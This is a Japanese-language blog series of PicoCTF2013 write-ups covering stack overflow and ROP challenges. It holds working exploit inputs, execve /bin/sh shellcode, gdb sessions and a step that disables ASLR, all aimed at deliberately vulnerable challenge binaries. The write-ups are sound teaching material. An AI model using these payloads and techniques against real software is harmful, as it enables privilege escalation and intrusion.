PicoCTF2013 Overflow4 Writeup

今回は一応できたけど、非常にもやもやしたまま。すっきりしない。

問題編

問題文

Category: Binary Exploitation Points: 150 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_4_4834efeff17abdfb , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_4_4834efeff17abdfb/key on the PicoCTF shell machine.
HINT: Gonna need some shellcode. Luckily some is provided for you in the directory on the shell machine.

ソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}

解答編

まずはいつもの調査。

# file overflow4-4834efeff17abdfb
overflow4-4834efeff17abdfb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ae134398f8b02334bc124c467b4ad1dc234006bb, not stripped

# gdb -q ./overflow4-4834efeff17abdfb -ex checksec -ex q
Reading symbols from /root/ctf/picoCTF2013/Overflow4/overflow4-4834efeff17abdfb...done.
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

ソースコード中にシェル起動に役立ちそうな関数が無いことと、NXがDisableになっていることから、 スタックにシェルコードを注入して実行する問題だという推測までは自力でできた。

ただ、実行ごとにスタックのアドレスが変わってしまい、その対処が自力ではどうにもならなかった。 katagaitai勉強会#2の32ページに書いてある nop-sledという手法を自分なりに試してみたが、bashの引数に指定できる文字列の長さ制限もあり、 シェルコードを実行させることはできず、ギブアップ。

nop-sledを試してみたコード

# ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x90"*72); sys.stdout.write("\x04\x04\xff\xff\x04\x04\x87\xff"); sys.stdout.write("\x90"*100000); sys.stdout.write("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')
Stack dump:
0xff84ba70: 0x90909090 (first argument)
0xff84ba6c: 0xff870404 (saved eip)
0xff84ba68: 0xffff0404 (saved ebp)
0xff84ba64: 0x90909090
0xff84ba60: 0x90909090
0xff84ba5c: 0x90909090
0xff84ba58: 0x90909090
0xff84ba54: 0x90909090
0xff84ba50: 0x90909090
0xff84ba4c: 0x90909090
0xff84ba48: 0x90909090
0xff84ba44: 0x90909090
0xff84ba40: 0x90909090
0xff84ba3c: 0x90909090
0xff84ba38: 0x90909090
0xff84ba34: 0x90909090
0xff84ba30: 0x90909090
0xff84ba2c: 0x90909090
0xff84ba28: 0x90909090
0xff84ba24: 0x90909090
0xff84ba20: 0x90909090 (beginning of buffer)
Segmentation fault (コアダンプ)

※実行ごとにスタックアドレスが変わる。

ここで他人様のWriteupをチラ見。

write-ups-2013/pico-ctf-2013/overflow-4 at master · ctfs/write-ups-2013 · GitHub

スタックアドレスが変わってしまうことの対処にはASLRを無効にすればよいことに気づく。

LinuxのASLRの設定を確認し、無効化(=0)設定にする。

# cat /proc/sys/kernel/randomize_va_space
2

# echo 0 > /proc/sys/kernel/randomize_va_space

# cat /proc/sys/kernel/randomize_va_space
0

あとはスタックにシェルコードを流し込んで、そこにEIPを移せばシェルが取れるはず。 と思って、自分で探してきたシェルコードを試してみたがうまくいかず。。。 ここでもギブアップ。

今度は他人様のWriteupをガン見。(シェルコードもそのまま流用)

# setarch `uname -m` -R ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");sys.stdout.write("A"*55); sys.stdout.write("\x50\xd5\xff\xff")')
Stack dump:
0xffffd5a0: 0xffffd700 (first argument)
0xffffd59c: 0xffffd550 (saved eip)
0xffffd598: 0x41414141 (saved ebp)
0xffffd594: 0x41414141
0xffffd590: 0x41414141
0xffffd58c: 0x41414141
0xffffd588: 0x41414141
0xffffd584: 0x41414141
0xffffd580: 0x41414141
0xffffd57c: 0x41414141
0xffffd578: 0x41414141
0xffffd574: 0x41414141
0xffffd570: 0x41414141
0xffffd56c: 0x41414141
0xffffd568: 0x41414141
0xffffd564: 0x41414180
0xffffd560: 0xcde3896e
0xffffd55c: 0x69622f68
0xffffd558: 0x68732f2f
0xffffd554: 0x68510bb0
0xffffd550: 0xe1f7c931 (beginning of buffer)
# ls

わかりづらいが、一応新しいシェルは起動している様子。

先頭に'setarch uname -m -R ‘を付けないとうまくいかない模様。 また、シェルコードにもうまく動くものとうまく動かないものがある模様。(環境依存?)

もやもや

  • ASLRの無効化方法として、/proc/sys/kernel/randomize_va_spaceを変更するやり方とsetarchで起動するやり方では効果が違うのか?
  • 環境によって動くシェルコードが違うのか?

PicoCTF2013 Overflow3 Writeup

問題編

問題文

Category: Binary Exploitation Points: 120 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_3_28d8a442fb232c0c , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_3_28d8a442fb232c0c/key on the PicoCTF shell machine.
Hint: objdump -d is a handy tool for this sort of thing.

ソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run this function.
 */
void shell(void) {
    execl("/bin/sh", "sh", NULL);
}

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    printf("shell function = %p\n", shell);
    vuln(argv[1]);
    return 0;
}

解答編

一度実行して、shell関数のアドレスを確認する。(2回目も実行してアドレスが変わらないことも確認する。) 戻りアドレスを変更してシェルを取る。

# ./overflow3-28d8a442fb232c0c a
shell function = 0x80485f8


# ./overflow3-28d8a442fb232c0c $(python -c 'import sys; sys.stdout.write("A"*76); sys.stdout.write("\xf8\x85\x04\x08")')
shell function = 0x80485f8
Stack dump:
0xffc05510: 0xffc06700 (first argument)
0xffc0550c: 0x080485f8 (saved eip)
0xffc05508: 0x41414141 (saved ebp)
0xffc05504: 0x41414141
0xffc05500: 0x41414141
0xffc054fc: 0x41414141
0xffc054f8: 0x41414141
0xffc054f4: 0x41414141
0xffc054f0: 0x41414141
0xffc054ec: 0x41414141
0xffc054e8: 0x41414141
0xffc054e4: 0x41414141
0xffc054e0: 0x41414141
0xffc054dc: 0x41414141
0xffc054d8: 0x41414141
0xffc054d4: 0x41414141
0xffc054d0: 0x41414141
0xffc054cc: 0x41414141
0xffc054c8: 0x41414141
0xffc054c4: 0x41414141
0xffc054c0: 0x41414141 (beginning of buffer)
sh-4.2# ls

PicoCTF2013 Overflow2 Writeup

問題編

問題文

Category: Binary Exploitation Points: 100 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_2_44e63640e033ff2b , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_2_44e63640e033ff2b/key on the PicoCTF shell machine.
Hint: A function's arguments live on top of its stack frame, above its saved ebp and return address. Make sure not to clobber those, though...

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int win, char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &win);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}

解答編

main関数からvuln関数の第一引数が固定値0で渡されているが、それを変更すればよい。 戻りアドレスの直後がmain関数から渡される第一引数。

# ./overflow2-44e63640e033ff2b $(python -c 'import sys; sys.stdout.write("A"*80); sys.stdout.write("\x01")')
Stack dump:
0xffe7fac8: 0x00000000
0xffe7fac4: 0xffe807a0 (second argument)
0xffe7fac0: 0x00000001 (first argument)
0xffe7fabc: 0x41414141 (saved eip)
0xffe7fab8: 0x41414141 (saved ebp)
0xffe7fab4: 0x41414141
0xffe7fab0: 0x41414141
0xffe7faac: 0x41414141
0xffe7faa8: 0x41414141
0xffe7faa4: 0x41414141
0xffe7faa0: 0x41414141
0xffe7fa9c: 0x41414141
0xffe7fa98: 0x41414141
0xffe7fa94: 0x41414141
0xffe7fa90: 0x41414141
0xffe7fa8c: 0x41414141
0xffe7fa88: 0x41414141
0xffe7fa84: 0x41414141
0xffe7fa80: 0x41414141
0xffe7fa7c: 0x41414141
0xffe7fa78: 0x41414141
0xffe7fa74: 0x41414141
0xffe7fa70: 0x41414141 (beginning of buffer)
win = 1
sh-4.2# ls

PicoCTF2013 Overflow1 Writeup

ROP3が難しすぎるので、Overflow1を先に解くことに。

問題編

問題文

Category: Binary Exploitation Points: 90 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_1_3948d17028101c40 , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_1_3948d17028101c40/key
on the PicoCTF shell machine
**Hint:**n general, the compiler will put things on the stack in the order they appear in the code. Also google 'endianness'

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int tmp, char *str) {
    int win = tmp;
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}

解答編

ソースコードを読むとwin変数に値1を代入すればシェルが取れることがわかる。

第一引数に文字列を指定し、buf配列をオーバフローさせてwin変数に値を代入する。

引数に英数字以外のコード(0x01など)をどのように指定するかが少し迷ったが、 $()でコードを実行させることで解決した。

# ./overflow1-3948d17028101c40 $(python -c 'import sys; sys.stdout.write("A"*64); sys.stdout.write("\x01")')
Stack dump:
0xffd71b74: 0xffd727b0 (second argument)
0xffd71b70: 0x00000000 (first argument)
0xffd71b6c: 0x0804870f (saved eip)
0xffd71b68: 0xffd71b98 (saved ebp)
0xffd71b64: 0xf7742000
0xffd71b60: 0xf7641537
0xffd71b5c: 0x00000001
0xffd71b58: 0x41414141
0xffd71b54: 0x41414141
0xffd71b50: 0x41414141
0xffd71b4c: 0x41414141
0xffd71b48: 0x41414141
0xffd71b44: 0x41414141
0xffd71b40: 0x41414141
0xffd71b3c: 0x41414141
0xffd71b38: 0x41414141
0xffd71b34: 0x41414141
0xffd71b30: 0x41414141
0xffd71b2c: 0x41414141
0xffd71b28: 0x41414141
0xffd71b24: 0x41414141
0xffd71b20: 0x41414141
0xffd71b1c: 0x41414141 (beginning of buffer)
win = 1
sh-4.2# ls

学んだこと

  • 引数に任意の入力(0x01など)を与える場合、$()を利用するとよい

PicoCTF2013 ROP2 Writeup

前回に引き続き、PicoCTF2013の問題。今回はROP2。

問題編

今回もソースコード付きの問題。 前回と比べて差分もちょっとだけで、system関数を使っているところは同じだが、/bin/bash文字列が別の場所に定義されている。

# diff -b ../ROP1/rop1.c rop2-20f65dd0bcbe267d.c
5a6,7
> char * not_used = "/bin/bash";
>
7c9
<       return system("/bin/bash");
---
>       return system("/bin/date");

解答編

まずは基本的な調査。

# file rop2-20f65dd0bcbe267d
rop2-20f65dd0bcbe267d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f59c4efbc216be9521154b3858d1eeeaa431bae5, not stripped


# gdb -q ./rop2-20f65dd0bcbe267d
Reading symbols from /root/ctf/picoCTF2013/ROP2/rop2-20f65dd0bcbe267d...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

EIPを取るところまでは前回と同じ。

前回のexploitとなった入力(input3)を使用してsystem関数の挙動を見てみる。

   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x804861a ("/bin/date")

すると、system関数を呼び出す直前に、スタックに/bin/date文字列を指すポインタを格納している。 よって、スタックの先頭に/bin/bash文字列を指すポインタを設定できれば解けそうなことがわかる。

まずは、/bin/bash文字列のアドレスを調べる。 objdumpに引数'-s'を与えると、プログラムで使用している文字列がどこのアドレスに格納されているかわかる模様。

# objdump -s -D -Mintel rop2-20f65dd0bcbe267d | grep bin
 8048608 03000000 01000200 2f62696e 2f626173  ......../bin/bas
 8048618 68002f62 696e2f64 61746500 48656c6c  h./bin/date.Hell

この結果から、スタックの先頭に0x08048610を格納すればよいことがわかる。

試しに、デバッガで直接、ポインタの値を変更して実行してみた。

=> 0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
   0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>

gdb-peda$ x/7b 0x80484aa
0x80484aa <not_called+6>:       0xc7    0x04    0x24    0x1a    0x86    0x04    0x08
gdb-peda$ x/4b 0x80484ad
0x80484ad <not_called+9>:       0x1a    0x86    0x04    0x08

gdb-peda$ set *0x80484ad=0x08048610
gdb-peda$ x/4b 0x80484ad
0x80484ad <not_called+9>:       0x10    0x86    0x04    0x08

   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x8048610
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x8048610 ("/bin/bash")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c4 --> 0x8048610 ("/bin/bash")


[New process 19957]
process 19957 is executing new program: /usr/bin/bash
[Switching to process 19957]

なんとなく、bashが起動できてそうな雰囲気。

ここで、デバッガで色々動かしてみて、スタックの様子を観察してみた。 f:id:boblice:20170913172750p:plain

main関数からvuln関数を呼び出すときは、上図のようにmain関数の次の実行アドレスを戻りアドレスとして スタックに積み、その上にmain関数で指していたEBPの値を積むことになっている。

前回のROP1では上図の緑色の「戻りアドレス」を書き換えれば攻略できた。

今回のROP2では、戻りアドレスを書き換えるとともに、 青色の元々はmainで使用していたスタック領域も書き換えればよさそう。

以下の2点を考慮して入力(input4)を作成。

  • 戻りアドレスはnot_called関数の先頭アドレスではなく、system関数をcallするアドレス(0x080484b1)。
  • スタックの戻りアドレスの直後に、/bin/bash文字列のアドレス(0x08048610)を格納。
# python -c 'import sys; sys.stdout.write("A"*140)' > input4 && echo -ne '\xb1\x84\x04\x08\x10\x86\x04\x08' >> input4

この入力を使ってデバッガ実行してみる。

EBP: 0x41414141 ('AAAA')
ESP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call   0x80483a0 <system@plt>)
EIP: 0x80484e0 (<vulnerable_function+40>:       ret)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484d3 <vulnerable_function+27>:  mov    DWORD PTR [esp],0x0
   0x80484da <vulnerable_function+34>:  call   0x8048380 <read@plt>
   0x80484df <vulnerable_function+39>:  leave
=> 0x80484e0 <vulnerable_function+40>:  ret
   0x80484e1 <be_nice_to_people>:       push   ebp
   0x80484e2 <be_nice_to_people+1>:     mov    ebp,esp
   0x80484e4 <be_nice_to_people+3>:     sub    esp,0x28
   0x80484e7 <be_nice_to_people+6>:     call   0x8048390 <getegid@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd5dc --> 0x80484b1 (<not_called+13>:        call   0x80483a0 <system@plt>)
0004| 0xffffd5e0 --> 0x8048610 ("/bin/bash")
0008| 0xffffd5e4 --> 0x8000
0012| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>:    add    ebx,0x1aab)
0016| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c
0020| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>:      push   ebp)
0024| 0xffffd5f4 --> 0x0
0028| 0xffffd5f8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484e0 in vulnerable_function ()
gdb-peda$
Cannot access memory at address 0x41414145

エラーとなり、system関数が実行される前に終了してしまっている模様。

EBPが適当な値になっていないので、それらしい値に変更した入力(input5)を作成。

# python -c 'import sys; sys.stdout.write("A"*136)' > input5 && echo -ne '\xdc\xd5\xff\xff\xb1\x84\x04\x08\x10\x86\x04\x08' >> input5
EBP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call   0x80483a0 <system@plt>)
ESP: 0xffffd5e0 --> 0x8048610 ("/bin/bash")
EIP: 0x80484b1 (<not_called+13>:        call   0x80483a0 <system@plt>)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484a5 <not_called+1>:    mov    ebp,esp
   0x80484a7 <not_called+3>:    sub    esp,0x18
   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x8048610 ("/bin/bash")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 --> 0x8048610 ("/bin/bash")
0004| 0xffffd5e4 --> 0x8000
0008| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>:    add    ebx,0x1aab)
0012| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c
0016| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>:      push   ebp)
0020| 0xffffd5f4 --> 0x0
0024| 0xffffd5f8 --> 0x0
0028| 0xffffd5fc --> 0xf7e219a3 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484b1 in not_called ()
gdb-peda$
[New process 21955]
process 21955 is executing new program: /usr/bin/bash
[Switching to process 21955]

今度は見事にbashを起動することができた。

# cat input5 /dev/stdin | ./rop2-20f65dd0bcbe267d
ls

前回同様、標準入力が閉じないようにすると、シェルが取れてコマンドが実行可能に!

学んだこと

  • objdump -s で格納文字列の情報もダンプできる。
  • vuln関数におけるスタックオーバフローにより、呼び出し元関数のスタックを変更し悪用することが可能。

追記

デバッガを使用しなければ、input4でもシェルを取ることができる模様。

PicoCTF2013 ROP1 Writeup

CTFに参加しても全然解けないので、難易度低めの過去問を解いていこうと思う。 特にPwnやRevが解けるようになりたい!!

まずはPicoCTFの問題からやっていきます。 今回は2013年のROP1。

問題編

珍しく問題文が充実してる。

Category: Binary Exploitation Points: 95 Description:

ROP is a classic technique for getting around address randomization and non-executable memory. This sequence will teach you the basics.

また、ソースコードも与えられていた。優しい!

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int not_called() {                    //★shellを起動する関数
    return system("/bin/bash");
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256); //★bufサイズよりも大きいサイズを読み込み可能
}

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

解答編

実行してみる。

# ./rop1-fa6168f4d8eba0eb
                           ★ここで入力待ちになる。
Hello, World

実行すると入力待ちになり、Enterを押下するとHello, Worldが表示される。

fileコマンド

# file rop1-fa6168f4d8eba0eb
rop1-fa6168f4d8eba0eb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3d63cf7522376251b7ae4ceb1d4aaaeb287cc7b1, not stripped

ltraceで動作の概要を観察する。

# ltrace ./rop1-fa6168f4d8eba0eb
__libc_start_main(0x804850a, 1, 0xffca3fb4, 0x8048540 <unfinished ...>
getegid()                                                     = 0
setresgid(0, 0, 0, 0x8048361)                                 = 0
read(0
, "\n", 256)                                            = 1
write(1, "Hello, World\n", 13Hello, World
)                                = 13
+++ exited (status 13) +++

checksecでセキュリティ対策を確認。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXは有効になっている模様。

pattcを使ってオーバフローを発生させてみる。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0xf7fc2000 --> 0x1b9d9c
ECX: 0xffffd550 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0x0
EDI: 0x0
EBP: 0x41514141 ('AAQA')
ESP: 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0004| 0xffffd5e4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0xffffd5e8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0012| 0xffffd5ec ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffd5f0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffd5f4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffd5f8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffd5fc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686

pattoでEIPへのオフセットを確認する。

gdb-peda$ patto 'AmAA'
AmAA found at offset: 140
# cat input136
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ./rop1-fa6168f4d8eba0eb < input136
Hello, World
Segmentation fault (コアダンプ)

136文字以上の入力をするとセグフォルトする模様。

main関数の先頭アドレスを確認。

   0x804850a <main>:    push   ebp
   0x804850b <main+1>:  mov    ebp,esp
   0x804850d <main+3>:  and    esp,0xfffffff0

試しに、EIPがmain先頭付近のアドレス0x804850bを指すようにオーバフローさせてみる。 エンディアンの影響に注意すること。

# python -c 'import sys; sys.stdout.write("A"*140)' > input2 && echo -ne '\x0b\x85\x04\x08' >> input2
# xxd input2
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000080: 4141 4141 4141 4141 4141 4141 0b85 0408  AAAAAAAAAAAA....

この入力(input2)を使ってデバッガ実行すると、 確かにvulnerable_function関数の戻りアドレスを0x804850bにできていることが確認できた。 ここまでで、EIPを取ることができたと言えるだろう。

ソースコードを見ると、bashを呼ぶ関数があることに気づく。

int not_called() {
    return system("/bin/bash");
}

objdumpから、該当関数のアドレスを確認。

080484a4 <not_called>:
 80484a4:       55                      push   ebp

該当関数のアドレスにEIPが移るような入力を用意。

# python -c 'import sys; sys.stdout.write("A"*140)' > input3 && echo -ne '\xa4\x84\x04\x08' >> input3

その入力で実行してみる。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ r < input3
Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb < input3
[New process 14774]
process 14774 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686
process 14774 is executing new program: /usr/bin/bash
[Inferior 2 (process 14774) exited normally]
Warning: not running or target is remote

うまく実行できず。。。 いや、実行できているけど、正常終了してしまっている模様。

ここで、ヒントを参照。

Hint: It is really important not to close standard in: a common trick is to do

      echo -ne "my_exploit_string" > ~/some_random_file
      cat ~/some_random_file /dev/stdin | ./rop1

      Alternatively,

         cat <(python -c 'print "my_exploit_string"') - | ./rop1

Otherwise, you will launch a shell, but standard in will be closed, so it'll
just exit immediately, which is not much use at all!

Good luck!
# cat input3 /dev/stdin | ./rop1-fa6168f4d8eba0eb
ls

catの後に、/dev/stdinを付加するとシェルが取れた!! こうすることで、標準入力を閉じないようにしている模様。

学んだこと

  • pattc/pattoを使うとEIPへのオフセットが容易に求まる
  • echoコマンドに'-e'オプションをつけると、バイナリが扱える
  • シェルが取れても標準入力が閉じてしまうことがある
  • <<< はヒアストリングと言うらしい

最後に

ROPって何ぞや。。。

Return Oriented Programming: 実行したいコードを細かく分割し.text領域から探して組み合わせたもの

つまり、今回はソースコード中にsystem関数でbashを呼び出す箇所があったから、 それをそのまま利用するってことで、ROPと呼んでいる訳か。